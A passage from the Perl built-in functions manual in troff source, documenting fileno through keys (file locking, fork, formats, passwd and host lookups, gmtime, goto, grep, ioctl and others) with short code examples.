If \s-1FILEHANDLE\s0 is an expression, the value is taken as an indirect
filehandle, generally its name.
.Sp
You can use this to find out whether two handles refer to the
same underlying descriptor:
.Sp
.Vb 3
\& if (fileno(THIS) == fileno(THAT)) {
\& print "THIS and THAT are dups\en";
\& }
.Ve
.Sp
(Filehandles connected to memory objects via new features of \f(CW\*(C`open\*(C'\fR may
return undefined even though they are open.)
.IP "flock \s-1FILEHANDLE\s0,OPERATION" 8
.IX Item "flock FILEHANDLE,OPERATION"
Calls \fIflock\fR\|(2), or an emulation of it, on \s-1FILEHANDLE\s0. Returns true
for success, false on failure. Produces a fatal error if used on a
machine that doesn't implement \fIflock\fR\|(2), \fIfcntl\fR\|(2) locking, or \fIlockf\fR\|(3).
\&\f(CW\*(C`flock\*(C'\fR is Perl's portable file locking interface, although it locks
only entire files, not records.
.Sp
Two potentially non-obvious but traditional \f(CW\*(C`flock\*(C'\fR semantics are
that it waits indefinitely until the lock is granted, and that its locks
\&\fBmerely advisory\fR. Such discretionary locks are more flexible, but offer
fewer guarantees. This means that files locked with \f(CW\*(C`flock\*(C'\fR may be
modified by programs that do not also use \f(CW\*(C`flock\*(C'\fR. See perlport,
your port's specific documentation, or your system-specific local manpages
for details. It's best to assume traditional behavior if you're writing
portable programs. (But if you're not, you should as always feel perfectly
free to write for your own system's idiosyncrasies (sometimes called
\&\*(L"features\*(R"). Slavish adherence to portability concerns shouldn't get
in the way of your getting your job done.)
.Sp
\&\s-1OPERATION\s0 is one of \s-1LOCK_SH\s0, \s-1LOCK_EX\s0, or \s-1LOCK_UN\s0, possibly combined with
\&\s-1LOCK_NB\s0. These constants are traditionally valued 1, 2, 8 and 4, but
you can use the symbolic names if you import them from the Fcntl module,
either individually, or as a group using the ':flock' tag. \s-1LOCK_SH\s0
requests a shared lock, \s-1LOCK_EX\s0 requests an exclusive lock, and \s-1LOCK_UN\s0
releases a previously requested lock. If \s-1LOCK_NB\s0 is bitwise\-or'ed with
\&\s-1LOCK_SH\s0 or \s-1LOCK_EX\s0 then \f(CW\*(C`flock\*(C'\fR will return immediately rather than blocking
waiting for the lock (check the return status to see if you got it).
.Sp
To avoid the possibility of miscoordination, Perl now flushes \s-1FILEHANDLE\s0
before locking or unlocking it.
.Sp
Note that the emulation built with \fIlockf\fR\|(3) doesn't provide shared
locks, and it requires that \s-1FILEHANDLE\s0 be open with write intent. These
are the semantics that \fIlockf\fR\|(3) implements. Most if not all systems
implement \fIlockf\fR\|(3) in terms of \fIfcntl\fR\|(2) locking, though, so the
differing semantics shouldn't bite too many people.
.Sp
Note that the \fIfcntl\fR\|(2) emulation of \fIflock\fR\|(3) requires that \s-1FILEHANDLE\s0
be open with read intent to use \s-1LOCK_SH\s0 and requires that it be open
with write intent to use \s-1LOCK_EX\s0.
.Sp
Note also that some versions of \f(CW\*(C`flock\*(C'\fR cannot lock things over the
network; you would need to use the more system-specific \f(CW\*(C`fcntl\*(C'\fR for
that. If you like you can force Perl to ignore your system's \fIflock\fR\|(2)
function, and so provide its own \fIfcntl\fR\|(2)\-based emulation, by passing
the switch \f(CW\*(C`\-Ud_flock\*(C'\fR to the \fIConfigure\fR program when you configure
perl.
.Sp
Here's a mailbox appender for \s-1BSD\s0 systems.
.Sp
.Vb 1
\& use Fcntl ':flock'; # import LOCK_* constants
.Ve
.Sp
.Vb 6
\& sub lock {
\& flock(MBOX,LOCK_EX);
\& # and, in case someone appended
\& # while we were waiting...
\& seek(MBOX, 0, 2);
\& }
.Ve
.Sp
.Vb 3
\& sub unlock {
\& flock(MBOX,LOCK_UN);
\& }
.Ve
.Sp
.Vb 2
\& open(MBOX, ">>/usr/spool/mail/$ENV{'USER'}")
\& or die "Can't open mailbox: $!";
.Ve
.Sp
.Vb 3
\& lock();
\& print MBOX $msg,"\en\en";
\& unlock();
.Ve
.Sp
On systems that support a real \fIflock()\fR, locks are inherited across \fIfork()\fR
calls, whereas those that must resort to the more capricious \fIfcntl()\fR
function lose the locks, making it harder to write servers.
.Sp
See also DB_File for other \fIflock()\fR examples.
.IP "fork" 8
.IX Item "fork"
Does a \fIfork\fR\|(2) system call to create a new process running the
same program at the same point. It returns the child pid to the
parent process, \f(CW0\fR to the child process, or \f(CW\*(C`undef\*(C'\fR if the fork is
unsuccessful. File descriptors (and sometimes locks on those descriptors)
are shared, while everything else is copied. On most systems supporting
\&\fIfork()\fR, great care has gone into making it extremely efficient (for
example, using copy-on-write technology on data pages), making it the
dominant paradigm for multitasking over the last few decades.
.Sp
Beginning with v5.6.0, Perl will attempt to flush all files opened for
output before forking the child process, but this may not be supported
on some platforms (see perlport). To be safe, you may need to set
\&\f(CW$|\fR ($AUTOFLUSH in English) or call the \f(CW\*(C`autoflush()\*(C'\fR method of
\&\f(CW\*(C`IO::Handle\*(C'\fR on any open handles in order to avoid duplicate output.
.Sp
If you \f(CW\*(C`fork\*(C'\fR without ever waiting on your children, you will
accumulate zombies. On some systems, you can avoid this by setting
\&\f(CW$SIG{CHLD}\fR to \f(CW"IGNORE"\fR. See also perlipc for more examples of
forking and reaping moribund children.
.Sp
Note that if your forked child inherits system file descriptors like
\&\s-1STDIN\s0 and \s-1STDOUT\s0 that are actually connected by a pipe or socket, even
if you exit, then the remote server (such as, say, a \s-1CGI\s0 script or a
backgrounded job launched from a remote shell) won't think you're done.
You should reopen those to \fI/dev/null\fR if it's any issue.
.IP "format" 8
.IX Item "format"
Declare a picture format for use by the \f(CW\*(C`write\*(C'\fR function. For
example:
.Sp
.Vb 4
\& format Something =
\& Test: @<<<<<<<< @||||| @>>>>>
\& $str, $%, '$' . int($num)
\& .
.Ve
.Sp
.Vb 4
\& $str = "widget";
\& $num = $cost/$quantity;
\& $~ = 'Something';
\& write;
.Ve
.Sp
See perlform for many details and examples.
.IP "formline \s-1PICTURE\s0,LIST" 8
.IX Item "formline PICTURE,LIST"
This is an internal function used by \f(CW\*(C`format\*(C'\fRs, though you may call it,
too. It formats (see perlform) a list of values according to the
contents of \s-1PICTURE\s0, placing the output into the format output
accumulator, \f(CW$^A\fR (or \f(CW$ACCUMULATOR\fR in English).
Eventually, when a \f(CW\*(C`write\*(C'\fR is done, the contents of
\&\f(CW$^A\fR are written to some filehandle, but you could also read \f(CW$^A\fR
yourself and then set \f(CW$^A\fR back to \f(CW""\fR. Note that a format typically
does one \f(CW\*(C`formline\*(C'\fR per line of form, but the \f(CW\*(C`formline\*(C'\fR function itself
doesn't care how many newlines are embedded in the \s-1PICTURE\s0. This means
that the \f(CW\*(C`~\*(C'\fR and \f(CW\*(C`~~\*(C'\fR tokens will treat the entire \s-1PICTURE\s0 as a single line.
You may therefore need to use multiple formlines to implement a single
record format, just like the format compiler.
.Sp
Be careful if you put double quotes around the picture, because an \f(CW\*(C`@\*(C'\fR
character may be taken to mean the beginning of an array name.
\&\f(CW\*(C`formline\*(C'\fR always returns true. See perlform for other examples.
.IP "getc \s-1FILEHANDLE\s0" 8
.IX Item "getc FILEHANDLE"
.PD 0
.IP "getc" 8
.IX Item "getc"
.PD
Returns the next character from the input file attached to \s-1FILEHANDLE\s0,
or the undefined value at end of file, or if there was an error (in
the latter case \f(CW$!\fR is set). If \s-1FILEHANDLE\s0 is omitted, reads from
\&\s-1STDIN\s0. This is not particularly efficient. However, it cannot be
used by itself to fetch single characters without waiting for the user
to hit enter. For that, try something more like:
.Sp
.Vb 6
\& if ($BSD_STYLE) {
\& system "stty cbreak </dev/tty >/dev/tty 2>&1";
\& }
\& else {
\& system "stty", '-icanon', 'eol', "\e001";
\& }
.Ve
.Sp
.Vb 1
\& $key = getc(STDIN);
.Ve
.Sp
.Vb 7
\& if ($BSD_STYLE) {
\& system "stty -cbreak </dev/tty >/dev/tty 2>&1";
\& }
\& else {
\& system "stty", 'icanon', 'eol', '^@'; # ASCII null
\& }
\& print "\en";
.Ve
.Sp
Determination of whether \f(CW$BSD_STYLE\fR should be set
is left as an exercise to the reader.
.Sp
The \f(CW\*(C`POSIX::getattr\*(C'\fR function can do this more portably on
systems purporting \s-1POSIX\s0 compliance. See also the \f(CW\*(C`Term::ReadKey\*(C'\fR
module from your nearest \s-1CPAN\s0 site; details on \s-1CPAN\s0 can be found on
\&\*(L"\s-1CPAN\s0\*(R" in perlmodlib.
.IP "getlogin" 8
.IX Item "getlogin"
Implements the C library function of the same name, which on most
systems returns the current login from \fI/etc/utmp\fR, if any. If null,
use \f(CW\*(C`getpwuid\*(C'\fR.
.Sp
.Vb 1
\& $login = getlogin || getpwuid($<) || "Kilroy";
.Ve
.Sp
Do not consider \f(CW\*(C`getlogin\*(C'\fR for authentication: it is not as
secure as \f(CW\*(C`getpwuid\*(C'\fR.
.IP "getpeername \s-1SOCKET\s0" 8
.IX Item "getpeername SOCKET"
Returns the packed sockaddr address of other end of the \s-1SOCKET\s0 connection.
.Sp
.Vb 5
\& use Socket;
\& $hersockaddr = getpeername(SOCK);
\& ($port, $iaddr) = sockaddr_in($hersockaddr);
\& $herhostname = gethostbyaddr($iaddr, AF_INET);
\& $herstraddr = inet_ntoa($iaddr);
.Ve
.IP "getpgrp \s-1PID\s0" 8
.IX Item "getpgrp PID"
Returns the current process group for the specified \s-1PID\s0. Use
a \s-1PID\s0 of \f(CW0\fR to get the current process group for the
current process. Will raise an exception if used on a machine that
doesn't implement \fIgetpgrp\fR\|(2). If \s-1PID\s0 is omitted, returns process
group of current process. Note that the \s-1POSIX\s0 version of \f(CW\*(C`getpgrp\*(C'\fR
does not accept a \s-1PID\s0 argument, so only \f(CW\*(C`PID==0\*(C'\fR is truly portable.
.IP "getppid" 8
.IX Item "getppid"
Returns the process id of the parent process.
.Sp
Note for Linux users: on Linux, the C functions \f(CW\*(C`getpid()\*(C'\fR and
\&\f(CW\*(C`getppid()\*(C'\fR return different values from different threads. In order to
be portable, this behavior is not reflected by the perl-level function
\&\f(CW\*(C`getppid()\*(C'\fR, that returns a consistent value across threads. If you want
to call the underlying \f(CW\*(C`getppid()\*(C'\fR, you may use the \s-1CPAN\s0 module
\&\f(CW\*(C`Linux::Pid\*(C'\fR.
.IP "getpriority \s-1WHICH\s0,WHO" 8
.IX Item "getpriority WHICH,WHO"
Returns the current priority for a process, a process group, or a user.
(See \fIgetpriority\fR\|(2).) Will raise a fatal exception if used on a
machine that doesn't implement \fIgetpriority\fR\|(2).
.IP "getpwnam \s-1NAME\s0" 8
.IX Item "getpwnam NAME"
.PD 0
.IP "getgrnam \s-1NAME\s0" 8
.IX Item "getgrnam NAME"
.IP "gethostbyname \s-1NAME\s0" 8
.IX Item "gethostbyname NAME"
.IP "getnetbyname \s-1NAME\s0" 8
.IX Item "getnetbyname NAME"
.IP "getprotobyname \s-1NAME\s0" 8
.IX Item "getprotobyname NAME"
.IP "getpwuid \s-1UID\s0" 8
.IX Item "getpwuid UID"
.IP "getgrgid \s-1GID\s0" 8
.IX Item "getgrgid GID"
.IP "getservbyname \s-1NAME\s0,PROTO" 8
.IX Item "getservbyname NAME,PROTO"
.IP "gethostbyaddr \s-1ADDR\s0,ADDRTYPE" 8
.IX Item "gethostbyaddr ADDR,ADDRTYPE"
.IP "getnetbyaddr \s-1ADDR\s0,ADDRTYPE" 8
.IX Item "getnetbyaddr ADDR,ADDRTYPE"
.IP "getprotobynumber \s-1NUMBER\s0" 8
.IX Item "getprotobynumber NUMBER"
.IP "getservbyport \s-1PORT\s0,PROTO" 8
.IX Item "getservbyport PORT,PROTO"
.IP "getpwent" 8
.IX Item "getpwent"
.IP "getgrent" 8
.IX Item "getgrent"
.IP "gethostent" 8
.IX Item "gethostent"
.IP "getnetent" 8
.IX Item "getnetent"
.IP "getprotoent" 8
.IX Item "getprotoent"
.IP "getservent" 8
.IX Item "getservent"
.IP "setpwent" 8
.IX Item "setpwent"
.IP "setgrent" 8
.IX Item "setgrent"
.IP "sethostent \s-1STAYOPEN\s0" 8
.IX Item "sethostent STAYOPEN"
.IP "setnetent \s-1STAYOPEN\s0" 8
.IX Item "setnetent STAYOPEN"
.IP "setprotoent \s-1STAYOPEN\s0" 8
.IX Item "setprotoent STAYOPEN"
.IP "setservent \s-1STAYOPEN\s0" 8
.IX Item "setservent STAYOPEN"
.IP "endpwent" 8
.IX Item "endpwent"
.IP "endgrent" 8
.IX Item "endgrent"
.IP "endhostent" 8
.IX Item "endhostent"
.IP "endnetent" 8
.IX Item "endnetent"
.IP "endprotoent" 8
.IX Item "endprotoent"
.IP "endservent" 8
.IX Item "endservent"
.PD
These routines perform the same functions as their counterparts in the
system library. In list context, the return values from the
various get routines are as follows:
.Sp
.Vb 7
\& ($name,$passwd,$uid,$gid,
\& $quota,$comment,$gcos,$dir,$shell,$expire) = getpw*
\& ($name,$passwd,$gid,$members) = getgr*
\& ($name,$aliases,$addrtype,$length,@addrs) = gethost*
\& ($name,$aliases,$addrtype,$net) = getnet*
\& ($name,$aliases,$proto) = getproto*
\& ($name,$aliases,$port,$proto) = getserv*
.Ve
.Sp
(If the entry doesn't exist you get a null list.)
.Sp
The exact meaning of the \f(CW$gcos\fR field varies but it usually contains
the real name of the user (as opposed to the login name) and other
information pertaining to the user. Beware, however, that in many
system users are able to change this information and therefore it
cannot be trusted and therefore the \f(CW$gcos\fR is tainted (see
perlsec). The \f(CW$passwd\fR and \f(CW$shell\fR, user's encrypted password and
login shell, are also tainted, because of the same reason.
.Sp
In scalar context, you get the name, unless the function was a
lookup by name, in which case you get the other thing, whatever it is.
(If the entry doesn't exist you get the undefined value.) For example:
.Sp
.Vb 7
\& $uid = getpwnam($name);
\& $name = getpwuid($num);
\& $name = getpwent();
\& $gid = getgrnam($name);
\& $name = getgrgid($num);
\& $name = getgrent();
\& #etc.
.Ve
.Sp
In \fIgetpw*()\fR the fields \f(CW$quota\fR, \f(CW$comment\fR, and \f(CW$expire\fR are special
cases in the sense that in many systems they are unsupported. If the
\&\f(CW$quota\fR is unsupported, it is an empty scalar. If it is supported, it
usually encodes the disk quota. If the \f(CW$comment\fR field is unsupported,
it is an empty scalar. If it is supported it usually encodes some
administrative comment about the user. In some systems the \f(CW$quota\fR
field may be \f(CW$change\fR or \f(CW$age\fR, fields that have to do with password
aging. In some systems the \f(CW$comment\fR field may be \f(CW$class\fR. The \f(CW$expire\fR
field, if present, encodes the expiration period of the account or the
password. For the availability and the exact meaning of these fields
in your system, please consult your \fIgetpwnam\fR\|(3) documentation and your
\&\fIpwd.h\fR file. You can also find out from within Perl what your
\&\f(CW$quota\fR and \f(CW$comment\fR fields mean and whether you have the \f(CW$expire\fR field
by using the \f(CW\*(C`Config\*(C'\fR module and the values \f(CW\*(C`d_pwquota\*(C'\fR, \f(CW\*(C`d_pwage\*(C'\fR,
\&\f(CW\*(C`d_pwchange\*(C'\fR, \f(CW\*(C`d_pwcomment\*(C'\fR, and \f(CW\*(C`d_pwexpire\*(C'\fR. Shadow password
files are only supported if your vendor has implemented them in the
intuitive fashion that calling the regular C library routines gets the
shadow versions if you're running under privilege or if there exists
the \fIshadow\fR\|(3) functions as found in System V ( this includes Solaris
and Linux.) Those systems which implement a proprietary shadow password
facility are unlikely to be supported.
.Sp
The \f(CW$members\fR value returned by \fIgetgr*()\fR is a space separated list of
the login names of the members of the group.
.Sp
For the \fIgethost*()\fR functions, if the \f(CW\*(C`h_errno\*(C'\fR variable is supported in
C, it will be returned to you via \f(CW$?\fR if the function call fails. The
\&\f(CW@addrs\fR value returned by a successful call is a list of the raw
addresses returned by the corresponding system library call. In the
Internet domain, each address is four bytes long and you can unpack it
by saying something like:
.Sp
.Vb 1
\& ($a,$b,$c,$d) = unpack('C4',$addr[0]);
.Ve
.Sp
The Socket library makes this slightly easier:
.Sp
.Vb 3
\& use Socket;
\& $iaddr = inet_aton("127.1"); # or whatever address
\& $name = gethostbyaddr($iaddr, AF_INET);
.Ve
.Sp
.Vb 2
\& # or going the other way
\& $straddr = inet_ntoa($iaddr);
.Ve
.Sp
If you get tired of remembering which element of the return list
contains which return value, by-name interfaces are provided
in standard modules: \f(CW\*(C`File::stat\*(C'\fR, \f(CW\*(C`Net::hostent\*(C'\fR, \f(CW\*(C`Net::netent\*(C'\fR,
\&\f(CW\*(C`Net::protoent\*(C'\fR, \f(CW\*(C`Net::servent\*(C'\fR, \f(CW\*(C`Time::gmtime\*(C'\fR, \f(CW\*(C`Time::localtime\*(C'\fR,
and \f(CW\*(C`User::grent\*(C'\fR. These override the normal built\-ins, supplying
versions that return objects with the appropriate names
for each field. For example:
.Sp
.Vb 3
\& use File::stat;
\& use User::pwent;
\& $is_his = (stat($filename)->uid == pwent($whoever)->uid);
.Ve
.Sp
Even though it looks like they're the same method calls (uid),
they aren't, because a \f(CW\*(C`File::stat\*(C'\fR object is different from
a \f(CW\*(C`User::pwent\*(C'\fR object.
.IP "getsockname \s-1SOCKET\s0" 8
.IX Item "getsockname SOCKET"
Returns the packed sockaddr address of this end of the \s-1SOCKET\s0 connection,
in case you don't know the address because you have several different
IPs that the connection might have come in on.
.Sp
.Vb 6
\& use Socket;
\& $mysockaddr = getsockname(SOCK);
\& ($port, $myaddr) = sockaddr_in($mysockaddr);
\& printf "Connect to %s [%s]\en",
\& scalar gethostbyaddr($myaddr, AF_INET),
\& inet_ntoa($myaddr);
.Ve
.IP "getsockopt \s-1SOCKET\s0,LEVEL,OPTNAME" 8
.IX Item "getsockopt SOCKET,LEVEL,OPTNAME"
Returns the socket option requested, or undef if there is an error.
.IP "glob \s-1EXPR\s0" 8
.IX Item "glob EXPR"
.PD 0
.IP "glob" 8
.IX Item "glob"
.PD
In list context, returns a (possibly empty) list of filename expansions on
the value of \s-1EXPR\s0 such as the standard Unix shell \fI/bin/csh\fR would do. In
scalar context, glob iterates through such filename expansions, returning
undef when the list is exhausted. This is the internal function
implementing the \f(CW\*(C`<*.c>\*(C'\fR operator, but you can use it directly. If
\&\s-1EXPR\s0 is omitted, \f(CW$_\fR is used. The \f(CW\*(C`<*.c>\*(C'\fR operator is discussed in
more detail in \*(L"I/O Operators\*(R" in perlop.
.Sp
Beginning with v5.6.0, this operator is implemented using the standard
\&\f(CW\*(C`File::Glob\*(C'\fR extension. See File::Glob for details.
.IP "gmtime \s-1EXPR\s0" 8
.IX Item "gmtime EXPR"
Converts a time as returned by the time function to an 8\-element list
with the time localized for the standard Greenwich time zone.
Typically used as follows:
.Sp
.Vb 3
\& # 0 1 2 3 4 5 6 7
\& ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday) =
\& gmtime(time);
.Ve
.Sp
All list elements are numeric, and come straight out of the C `struct
tm'. \f(CW$sec\fR, \f(CW$min\fR, and \f(CW$hour\fR are the seconds, minutes, and hours of the
specified time. \f(CW$mday\fR is the day of the month, and \f(CW$mon\fR is the month
itself, in the range \f(CW0..11\fR with 0 indicating January and 11
indicating December. \f(CW$year\fR is the number of years since 1900. That
is, \f(CW$year\fR is \f(CW123\fR in year 2023. \f(CW$wday\fR is the day of the week, with
0 indicating Sunday and 3 indicating Wednesday. \f(CW$yday\fR is the day of
the year, in the range \f(CW0..364\fR (or \f(CW0..365\fR in leap years.)
.Sp
Note that the \f(CW$year\fR element is \fInot\fR simply the last two digits of
the year. If you assume it is, then you create non\-Y2K\-compliant
programs\*(--and you wouldn't want to do that, would you?
.Sp
The proper way to get a complete 4\-digit year is simply:
.Sp
.Vb 1
\& $year += 1900;
.Ve
.Sp
And to get the last two digits of the year (e.g., '01' in 2001) do:
.Sp
.Vb 1
\& $year = sprintf("%02d", $year % 100);
.Ve
.Sp
If \s-1EXPR\s0 is omitted, \f(CW\*(C`gmtime()\*(C'\fR uses the current time (\f(CW\*(C`gmtime(time)\*(C'\fR).
.Sp
In scalar context, \f(CW\*(C`gmtime()\*(C'\fR returns the \fIctime\fR\|(3) value:
.Sp
.Vb 1
\& $now_string = gmtime; # e.g., "Thu Oct 13 04:54:34 1994"
.Ve
.Sp
Also see the \f(CW\*(C`timegm\*(C'\fR function provided by the \f(CW\*(C`Time::Local\*(C'\fR module,
and the \fIstrftime\fR\|(3) function available via the \s-1POSIX\s0 module.
.Sp
This scalar value is \fBnot\fR locale dependent (see perllocale), but
is instead a Perl builtin. Also see the \f(CW\*(C`Time::Local\*(C'\fR module, and the
\&\fIstrftime\fR\|(3) and \fImktime\fR\|(3) functions available via the \s-1POSIX\s0 module. To
get somewhat similar but locale dependent date strings, set up your
locale environment variables appropriately (please see perllocale)
and try for example:
.Sp
.Vb 2
\& use POSIX qw(strftime);
\& $now_string = strftime "%a %b %e %H:%M:%S %Y", gmtime;
.Ve
.Sp
Note that the \f(CW%a\fR and \f(CW%b\fR escapes, which represent the short forms
of the day of the week and the month of the year, may not necessarily
be three characters wide in all locales.
.IP "goto \s-1LABEL\s0" 8
.IX Item "goto LABEL"
.PD 0
.IP "goto \s-1EXPR\s0" 8
.IX Item "goto EXPR"
.IP "goto &NAME" 8
.IX Item "goto &NAME"
.PD
The \f(CW\*(C`goto\-LABEL\*(C'\fR form finds the statement labeled with \s-1LABEL\s0 and resumes
execution there. It may not be used to go into any construct that
requires initialization, such as a subroutine or a \f(CW\*(C`foreach\*(C'\fR loop. It
also can't be used to go into a construct that is optimized away,
or to get out of a block or subroutine given to \f(CW\*(C`sort\*(C'\fR.
It can be used to go almost anywhere else within the dynamic scope,
including out of subroutines, but it's usually better to use some other
construct such as \f(CW\*(C`last\*(C'\fR or \f(CW\*(C`die\*(C'\fR. The author of Perl has never felt the
need to use this form of \f(CW\*(C`goto\*(C'\fR (in Perl, that is\*(--C is another matter).
(The difference being that C does not offer named loops combined with
loop control. Perl does, and this replaces most structured uses of \f(CW\*(C`goto\*(C'\fR
in other languages.)
.Sp
The \f(CW\*(C`goto\-EXPR\*(C'\fR form expects a label name, whose scope will be resolved
dynamically. This allows for computed \f(CW\*(C`goto\*(C'\fRs per \s-1FORTRAN\s0, but isn't
necessarily recommended if you're optimizing for maintainability:
.Sp
.Vb 1
\& goto ("FOO", "BAR", "GLARCH")[$i];
.Ve
.Sp
The \f(CW\*(C`goto\-&NAME\*(C'\fR form is quite different from the other forms of
\&\f(CW\*(C`goto\*(C'\fR. In fact, it isn't a goto in the normal sense at all, and
doesn't have the stigma associated with other gotos. Instead, it
exits the current subroutine (losing any changes set by \fIlocal()\fR) and
immediately calls in its place the named subroutine using the current
value of \f(CW@_\fR. This is used by \f(CW\*(C`AUTOLOAD\*(C'\fR subroutines that wish to
load another subroutine and then pretend that the other subroutine had
been called in the first place (except that any modifications to \f(CW@_\fR
in the current subroutine are propagated to the other subroutine.)
After the \f(CW\*(C`goto\*(C'\fR, not even \f(CW\*(C`caller\*(C'\fR will be able to tell that this
routine was called first.
.Sp
\&\s-1NAME\s0 needn't be the name of a subroutine; it can be a scalar variable
containing a code reference, or a block which evaluates to a code
reference.
.IP "grep \s-1BLOCK\s0 \s-1LIST\s0" 8
.IX Item "grep BLOCK LIST"
.PD 0
.IP "grep \s-1EXPR\s0,LIST" 8
.IX Item "grep EXPR,LIST"
.PD
This is similar in spirit to, but not the same as, \fIgrep\fR\|(1) and its
relatives. In particular, it is not limited to using regular expressions.
.Sp
Evaluates the \s-1BLOCK\s0 or \s-1EXPR\s0 for each element of \s-1LIST\s0 (locally setting
\&\f(CW$_\fR to each element) and returns the list value consisting of those
elements for which the expression evaluated to true. In scalar
context, returns the number of times the expression was true.
.Sp
.Vb 1
\& @foo = grep(!/^#/, @bar); # weed out comments
.Ve
.Sp
or equivalently,
.Sp
.Vb 1
\& @foo = grep {!/^#/} @bar; # weed out comments
.Ve
.Sp
Note that \f(CW$_\fR is an alias to the list value, so it can be used to
modify the elements of the \s-1LIST\s0. While this is useful and supported,
it can cause bizarre results if the elements of \s-1LIST\s0 are not variables.
Similarly, grep returns aliases into the original list, much as a for
loop's index variable aliases the list elements. That is, modifying an
element of a list returned by grep (for example, in a \f(CW\*(C`foreach\*(C'\fR, \f(CW\*(C`map\*(C'\fR
or another \f(CW\*(C`grep\*(C'\fR) actually modifies the element in the original list.
This is usually something to be avoided when writing clear code.
.Sp
See also \*(L"map\*(R" for a list composed of the results of the \s-1BLOCK\s0 or \s-1EXPR\s0.
.IP "hex \s-1EXPR\s0" 8
.IX Item "hex EXPR"
.PD 0
.IP "hex" 8
.IX Item "hex"
.PD
Interprets \s-1EXPR\s0 as a hex string and returns the corresponding value.
(To convert strings that might start with either 0, 0x, or 0b, see
\&\*(L"oct\*(R".) If \s-1EXPR\s0 is omitted, uses \f(CW$_\fR.
.Sp
.Vb 2
\& print hex '0xAf'; # prints '175'
\& print hex 'aF'; # same
.Ve
.Sp
Hex strings may only represent integers. Strings that would cause
integer overflow trigger a warning. Leading whitespace is not stripped,
unlike \fIoct()\fR.
.IP "import" 8
.IX Item "import"
There is no builtin \f(CW\*(C`import\*(C'\fR function. It is just an ordinary
method (subroutine) defined (or inherited) by modules that wish to export
names to another module. The \f(CW\*(C`use\*(C'\fR function calls the \f(CW\*(C`import\*(C'\fR method
for the package used. See also \*(L"use\*(R", perlmod, and Exporter.
.IP "index \s-1STR\s0,SUBSTR,POSITION" 8
.IX Item "index STR,SUBSTR,POSITION"
.PD 0
.IP "index \s-1STR\s0,SUBSTR" 8
.IX Item "index STR,SUBSTR"
.PD
The index function searches for one string within another, but without
the wildcard-like behavior of a full regular-expression pattern match.
It returns the position of the first occurrence of \s-1SUBSTR\s0 in \s-1STR\s0 at
or after \s-1POSITION\s0. If \s-1POSITION\s0 is omitted, starts searching from the
beginning of the string. The return value is based at \f(CW0\fR (or whatever
you've set the \f(CW$[\fR variable to\*(--but don't do that). If the substring
is not found, returns one less than the base, ordinarily \f(CW\*(C`\-1\*(C'\fR.
.IP "int \s-1EXPR\s0" 8
.IX Item "int EXPR"
.PD 0
.IP "int" 8
.IX Item "int"
.PD
Returns the integer portion of \s-1EXPR\s0. If \s-1EXPR\s0 is omitted, uses \f(CW$_\fR.
You should not use this function for rounding: one because it truncates
towards \f(CW0\fR, and two because machine representations of floating point
numbers can sometimes produce counterintuitive results. For example,
\&\f(CW\*(C`int(\-6.725/0.025)\*(C'\fR produces \-268 rather than the correct \-269; that's
because it's really more like \-268.99999999999994315658 instead. Usually,
the \f(CW\*(C`sprintf\*(C'\fR, \f(CW\*(C`printf\*(C'\fR, or the \f(CW\*(C`POSIX::floor\*(C'\fR and \f(CW\*(C`POSIX::ceil\*(C'\fR
functions will serve you better than will \fIint()\fR.
.IP "ioctl \s-1FILEHANDLE\s0,FUNCTION,SCALAR" 8
.IX Item "ioctl FILEHANDLE,FUNCTION,SCALAR"
Implements the \fIioctl\fR\|(2) function. You'll probably first have to say
.Sp
.Vb 1
\& require "ioctl.ph"; # probably in /usr/local/lib/perl/ioctl.ph
.Ve
.Sp
to get the correct function definitions. If \fIioctl.ph\fR doesn't
exist or doesn't have the correct definitions you'll have to roll your
own, based on your C header files such as \fI<sys/ioctl.h>\fR.
(There is a Perl script called \fBh2ph\fR that comes with the Perl kit that
may help you in this, but it's nontrivial.) \s-1SCALAR\s0 will be read and/or
written depending on the FUNCTION\*(--a pointer to the string value of \s-1SCALAR\s0
will be passed as the third argument of the actual \f(CW\*(C`ioctl\*(C'\fR call. (If \s-1SCALAR\s0
has no string value but does have a numeric value, that value will be
passed rather than a pointer to the string value. To guarantee this to be
true, add a \f(CW0\fR to the scalar before using it.) The \f(CW\*(C`pack\*(C'\fR and \f(CW\*(C`unpack\*(C'\fR
functions may be needed to manipulate the values of structures used by
\&\f(CW\*(C`ioctl\*(C'\fR.
.Sp
The return value of \f(CW\*(C`ioctl\*(C'\fR (and \f(CW\*(C`fcntl\*(C'\fR) is as follows:
.Sp
.Vb 4
\& if OS returns: then Perl returns:
\& -1 undefined value
\& 0 string "0 but true"
\& anything else that number
.Ve
.Sp
Thus Perl returns true on success and false on failure, yet you can
still easily determine the actual value returned by the operating
system:
.Sp
.Vb 2
\& $retval = ioctl(...) || -1;
\& printf "System returned %d\en", $retval;
.Ve
.Sp
The special string "\f(CW0\fR but true" is exempt from \fB\-w\fR complaints
about improper numeric conversions.
.Sp
Here's an example of setting a filehandle named \f(CW\*(C`REMOTE\*(C'\fR to be
non-blocking at the system level. You'll have to negotiate \f(CW$|\fR
on your own, though.
.Sp
.Vb 1
\& use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK);
.Ve
.Sp
.Vb 2
\& $flags = fcntl(REMOTE, F_GETFL, 0)
\& or die "Can't get flags for the socket: $!\en";
.Ve
.Sp
.Vb 2
\& $flags = fcntl(REMOTE, F_SETFL, $flags | O_NONBLOCK)
\& or die "Can't set flags for the socket: $!\en";
.Ve
.IP "join \s-1EXPR\s0,LIST" 8
.IX Item "join EXPR,LIST"
Joins the separate strings of \s-1LIST\s0 into a single string with fields
separated by the value of \s-1EXPR\s0, and returns that new string. Example:
.Sp
.Vb 1
\& $rec = join(':', $login,$passwd,$uid,$gid,$gcos,$home,$shell);
.Ve
.Sp
Beware that unlike \f(CW\*(C`split\*(C'\fR, \f(CW\*(C`join\*(C'\fR doesn't take a pattern as its
first argument. Compare \*(L"split\*(R".
.IP "keys \s-1HASH\s0" 8
.IX Item "keys HASH"
Returns a list consisting of all the keys of the named hash.
(In scalar context, returns the number of keys.)
.Sp
The keys are returned in an apparently random order. The actual
random order is subject to change in future versions of perl, but it
is guaranteed to be the same order as either the \f(CW\*(C`values\*(C'\fR or \f(CW\*(C`each\*(C'\fR
function produces (given that the hash has not been modified). Since
Perl 5.8.1 the ordering is different even between different runs of
Perl for security reasons (see \*(L"Algorithmic Complexity Attacks\*(R" in perlsec).
.Sp
As a side effect, calling \fIkeys()\fR resets the \s-1HASH\s0's internal iterator,
see \*(L"each\*(R".
.Sp
Here is yet another way to print your environment:
.Sp
.Vb 5
\& @keys = keys %ENV;
\& @values = values %ENV;
\& while (@keys) {
